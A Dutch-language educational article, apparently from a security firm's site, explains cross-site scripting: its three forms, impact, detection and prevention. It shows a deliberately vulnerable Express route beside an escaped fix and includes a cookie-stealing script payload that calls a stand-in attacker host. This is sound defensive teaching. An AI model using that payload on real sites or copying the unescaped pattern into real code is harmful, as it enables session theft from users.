Direct naar inhoud

Cross-site scripting (XSS)

CWE-79OWASP A03:2021Bijgewerkt 29 augustus 20265 min leestijd

Cross-site scripting (XSS) is een kwetsbaarheid waarbij een aanvaller kwaadaardige scripts in een vertrouwde webpagina injecteert, die vervolgens in de browser van bezoekers draaien. Daarmee kan hij sessiecookies stelen, acties namens het slachtoffer uitvoeren of wachtwoorden onderscheppen. U voorkomt het door alle uitvoer context-afhankelijk te coderen en een Content Security Policy in te stellen.

Cross-site scripting, meestal afgekort tot XSS, is een van de meest voorkomende kwetsbaarheden op het web. Bij een XSS-aanval smokkelt een aanvaller kwaadaardige JavaScript-code een webpagina binnen, waarna die code draait in de browser van iedere bezoeker die de pagina opent. De browser vertrouwt de code, want die lijkt van de website zelf te komen. Dit artikel legt uit hoe XSS werkt, wat een aanvaller ermee kan bereiken en hoe u het structureel voorkomt.

Wat is cross-site scripting?

Cross-site scripting is een kwetsbaarheid waarbij een applicatie invoer van een gebruiker ongefilterd in een webpagina plaatst, zodat een aanvaller er scripts in kan injecteren die in de browser van andere bezoekers worden uitgevoerd. Het gevaar zit niet in de website die de code toont, maar in het vertrouwen dat de browser stelt in alles wat van die website afkomstig lijkt.

Stel u een gastenboek voor. Bezoekers laten een berichtje achter dat de site vervolgens aan iedereen toont. Vertrouwt de site blind op wat er wordt ingetypt, dan kan een kwaadwillende in plaats van “Leuke site!” een stukje programmacode achterlaten. Vanaf dat moment voert de browser van elke volgende bezoeker die code uit, alsof de website het zelf heeft opgeschreven. De browser kan geen onderscheid maken tussen de code die de ontwikkelaar bedoelde en de code die de aanvaller heeft binnengesmokkeld.

Er zijn drie hoofdvormen. Bij reflected XSS zit de code in een link of formulier en wordt hij direct in het antwoord teruggekaatst, vaak via een phishing-link. Bij stored XSS slaat de applicatie de code op, bijvoorbeeld in een reactie of een profielveld, en krijgt iedere bezoeker hem geserveerd. Bij DOM-based XSS ontstaat het probleem volledig in de browser, doordat client-side JavaScript onveilige invoer in de pagina verwerkt zonder dat de server er ooit aan te pas komt.

Hoe werkt een XSS-aanval?

Het draait allemaal om één fout: gebruikersinvoer wordt vermengd met de HTML van de pagina zonder dat die invoer eerst onschadelijk wordt gemaakt. Bekijk een simpele zoekpagina die de zoekterm terugtoont aan de bezoeker.

Kwetsbaar:

app.get('/search', (req, res) => {
  const q = req.query.q;
  res.send(`<h1>Results for ${q}</h1>`);
});

De waarde van q komt rechtstreeks uit de URL en wordt zonder controle in de HTML geplakt. Een normale bezoeker zoekt op laptop en ziet die zoekterm netjes terug op de resultatenpagina. Een aanvaller stuurt echter een link met als zoekterm <script>fetch('https://kwaadaardig.example/x?c='+document.cookie)</script>. Zodra het slachtoffer op die link klikt, draait het script in zijn browser en stuurt het de sessiecookie door naar de server van de aanvaller.

Veilig:

import escapeHtml from 'escape-html';

app.get('/search', (req, res) => {
  const q = escapeHtml(req.query.q);
  res.send(`<h1>Results for ${q}</h1>`);
});

De veilige versie codeert de invoer voordat die in de pagina belandt. Tekens die in HTML een speciale betekenis hebben, zoals de punthaken van een tag, worden omgezet naar hun onschadelijke equivalent: < wordt &lt;. De browser toont de tekst dan letterlijk en voert er niets van uit. Belangrijk is dat de codering context-afhankelijk is: invoer die in een HTML-attribuut, in een stukje JavaScript of in een URL belandt, vraagt telkens om een andere manier van coderen.

Coderen op het moment van invoer (bij het opslaan) is niet genoeg. Codeer altijd op het moment van uitvoer, en stem de codering af op de plek waar de data terechtkomt. Anders ontsnapt een payload alsnog zodra dezelfde data in een andere context wordt hergebruikt.

Wat is de impact van XSS?

Omdat de geïnjecteerde code met alle rechten van de bezoeker in diens browser draait, kan een aanvaller in principe alles doen wat die bezoeker zelf kan. Technisch gezien betekent dat: sessiecookies stelen en zo een sessie overnemen, toetsaanslagen loggen, de inhoud van de pagina veranderen, een nep-inlogformulier tonen om wachtwoorden te oogsten, of stiekem acties uitvoeren namens het slachtoffer. Is dat slachtoffer een beheerder, dan kan de aanvaller in het ergste geval de hele applicatie overnemen.

Zakelijk vertaalt zich dat in datalekken, reputatieschade, mogelijke AVG-boetes en verlies van klantvertrouwen. Stored XSS op een druk platform is extra gevaarlijk: de code raakt iedere bezoeker die de besmette pagina opent, en kan zich in sommige gevallen als een worm van gebruiker naar gebruiker verspreiden. Wat op papier een “onschuldig” scriptje lijkt, is in de praktijk vaak een volwaardig bruggenhoofd in de browser van uw klanten.

Hoe spoor je XSS op?

Pentesters en scanners zoeken naar plekken waar invoer ongefilterd terugkomt in de respons. De klassieke test is een onschuldige payload zoals <script>alert(1)</script> of een unieke marker; komt die ongewijzigd terug in de HTML, dan is de plek verdacht. Geautomatiseerde tools zoals Burp Suite en OWASP ZAP fuzzen invoervelden, URL-parameters en headers met tientallen payload-varianten en controleren of ze uitvoerbaar terugkomen. DOM-based XSS vraagt bovendien om analyse van de client-side JavaScript, omdat het probleem nooit langs de server komt en dus niet in het serverantwoord zichtbaar is.

Bij een penetratietest van AssistSec is XSS een van de eerste dingen die we systematisch aftasten, inclusief de lastige gevallen die geautomatiseerde scanners over het hoofd zien, zoals injecties in JSON-antwoorden of in dynamisch opgebouwde DOM-fragmenten.

Hoe voorkom je XSS?

  • Codeer alle uitvoer context-afhankelijk. Maak gebruikersinvoer onschadelijk op het moment dat u die in de pagina zet, met de juiste codering voor HTML, attributen, JavaScript of URL’s.
  • Gebruik een framework dat automatisch codeert. React, Angular en Vue coderen output standaard; let dan wel op de ontsnappingsluiken zoals dangerouslySetInnerHTML en gebruik die alleen met gesaneerde inhoud.
  • Vermijd innerHTML. Zet tekst in de pagina met textContent. Moet u toch rijke HTML tonen, saneer die dan eerst met een bibliotheek als DOMPurify.
  • Zet een Content Security Policy (CSP) in. Een strikte CSP beperkt welke scripts de browser mag uitvoeren en vormt zo een sterke tweede verdedigingslinie als er toch een gaatje glipt.
  • Markeer cookies als HttpOnly. Zo kan JavaScript de sessiecookie niet lezen, wat cookiediefstal via XSS blokkeert.
  • Valideer invoer als extra laag: weiger wat evident niet klopt, maar vertrouw daar nooit op als enige maatregel; validatie vervangt het coderen van uitvoer niet.

Bronnen

Veelgestelde vragen

Is XSS nog steeds een groot risico?

Ja. XSS staat al jaren in de OWASP Top 10 en blijft een van de meest gevonden kwetsbaarheden bij webtests, mede doordat moderne single-page-applicaties veel data client-side verwerken.

Wat is het verschil tussen reflected en stored XSS?

Bij reflected XSS zit de code in een link of formulier en wordt hij direct teruggekaatst naar één slachtoffer. Bij stored XSS bewaart de applicatie de code en krijgt iedere bezoeker hem geserveerd.

Beschermt een Content Security Policy tegen XSS?

Een CSP is een sterke tweede verdedigingslinie die de impact van XSS beperkt, maar het is geen vervanging voor het correct coderen van uitvoer. Combineer beide.

Is het coderen van invoer genoeg om XSS te stoppen?

Niet op zichzelf. Codeer altijd op het moment van uitvoer en stem de codering af op de context (HTML, attribuut, JavaScript of URL) waarin de data belandt.

Verwante artikelen

Druk op / om te zoeken · Esc